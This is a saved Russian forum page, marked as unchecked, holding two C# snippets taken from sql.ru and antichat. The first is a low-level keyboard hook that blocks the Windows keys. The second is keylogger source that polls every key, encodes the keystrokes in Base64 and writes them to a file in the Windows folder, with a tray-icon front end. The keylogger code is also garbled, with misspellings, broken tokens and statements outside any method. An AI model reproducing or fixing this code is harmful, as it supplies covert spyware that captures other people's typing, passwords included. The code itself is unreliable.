Тема http://www.sql.ru/forum/632552/otsledit-nazhatiya-knopok?
https://forum.antichat.ru/threads/41858/
Сохранено в апреле 2009, не проверялось
using System; using System.Collections.Generic; using System.Text; using System.Diagnostics; using System.Runtime.InteropServices; namespace hook { class Program { private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 0x0100; private static LowLevelKeyboardProc _proc = HookCallback; private static IntPtr _hookID = IntPtr.Zero; static void Main() { _hookID = SetHook(_proc); Application.Run(); UnhookWindowsHookEx(_hookID); } private static IntPtr SetHook(LowLevelKeyboardProc proc) { using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0); } } private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if ((nCode >= 0) && (wParam == (IntPtr)WM_KEYDOWN)) { int vkCode = Marshal.ReadInt32(lParam); if (((Keys)vkCode == Keys.LWin) || ((Keys)vkCode == Keys.RWin)) { Console.WriteLine("{0} blocked!", (Keys)vkCode); return (IntPtr)1; } } return CallNextHookEx(_hookID, nCode, wParam, lParam); } [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr GetModuleHandle(string lpModuleName); } }
С античата
// KeyLogger на С# через GetAsyncKeyState [DllImport("user32.dll")] private static extern short GetAsyncKeyState(System.Int32 vKey); private String keybuffer; private System.Timers.Timer CheckKey; private System.Timers.Timer FlushBuffer; private String file; public Bolean Enabled { get { return CheckKey.Enabled && FlushBuffer.Enabled; } set { CheckKey.Enabled=value; FlushBuffer.Enabled=value; } } public Double FlushInterval { get { return FlushInterval.Interval; } set { FlushInterval.Interval=value; } } public String File { get { return file; } set { file = value; } } public KeyLogger(String filename) { keybuffer = string.Empty; this.File = filename; CheckKey = new System.Timers.Timer(); CheckKey.Enabled = true; CheckKey.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed ); CheckKey.Interval = 10; FlushBuffer = new System.Timers.Timer(); FlushBuffer.Enabled = true; FlushBuffer.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed ); FlushBuffer.Interval = 120000; } foreach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys))) { if(GetAsyncKeyState(h) == -32767) keybuffer+=Enum.GetName(typeof(System.Windows.Form s.Keys),h)+” “; } public void Flush2File(string file, bool append) { try { StreamWriter sw = new StreamWriter(file,append); sw.WriteLine(Convert.ToBase64String(System.Text.En coding.Default.GetBytes(keybuffer))); sw.Close(); keybuffer = string.Empty; } catch(Exception ex) { throw ex; } } string filename=@”c:\keylogger.txt”; KeyLogger kl; textBox1.Text=”60000”; textBox3.Text=filename; try { KeyLogger = new KeyLogger(filename); Kl.FlushInterval = Convert.ToDouble(textBox1.text); } catch(Exception) { MessageBox.Show(“Йа - ошибко”); } //Код для формы string filename=@”c:\windows\keylogger.txt”; KeyLogger kl; textBox1.Text=”60000”; textBox3.Text=filename; try { KeyLogger = new KeyLogger(filename); Kl.FlushInterval = Convert.ToDouble(textBox1.text); } catch(Exception) { MessageBox.Show(“Йа - ошибко”); } kl.Enabled=true; kl.Flush2File(textBox3.text,true); kl.Flush2File(textBox3.text,true); kl.Enabled=false; StreamReader sr = new StreamReader(filename); byte [] binary; System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding(); binary = Convert.FromBase64String(sr.ReadLine()); richTextBox1.Text = enc.GetString(binary); while(!sr.EndOfStream) { binary = Convert.FromBase64String(sr.ReadLine()); richTextBox1.AppendText(enc.GetString(binary)); } sr.Close(); ContextMenu contextMenu = new ContextMenu(); contextMenu.MenuItems.Add(“&jes_yo”,new EventHandler(this.jes_yo)); notifyIcon1.ContextMenu = contextMenu;